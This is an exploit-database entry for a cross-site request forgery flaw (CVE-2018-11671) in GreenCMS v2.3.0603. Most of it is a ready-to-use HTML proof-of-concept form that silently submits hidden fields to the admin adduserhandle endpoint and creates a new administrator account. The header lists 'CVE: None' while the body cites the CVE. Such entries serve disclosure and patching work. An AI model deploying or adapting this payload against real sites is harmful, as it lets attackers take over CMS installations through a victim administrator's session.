GreenCMS 2.3.0603 - Cross-Site Request Forgery (Add Admin) Vulnerability

2018-06-08
ID: 98281
CVE: None
Download vulnerable application: None
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671
   An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.
  poc:
  <span style="font-size:18px;"><!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>csrftest</title>  
</head>  
<body>  
        <form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">  
<input type="hidden" name="user_id0" value="1">  
<input type="hidden" name="user_login" value="test1">
<input type="hidden" name="password" value="test1">  
<input type="hidden" name="rpassword" value="test1">  
<input type="hidden" name="user_nicename" value="123">  
<input type="hidden" name="user_email" value="123%40Qq.com">  
<input type="hidden" name="user_url" value="www.baidu.com">  
<input type="hidden" name="user_intro" value="test">  
<input type="hidden" name="user_status" value="1">  
<input type="hidden" name="role_id" value="1">
        <button type="submit" value="Submit">add admin</button>  
</form>  
    </body>
</html></span>
  References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109
1-4-2 (www01)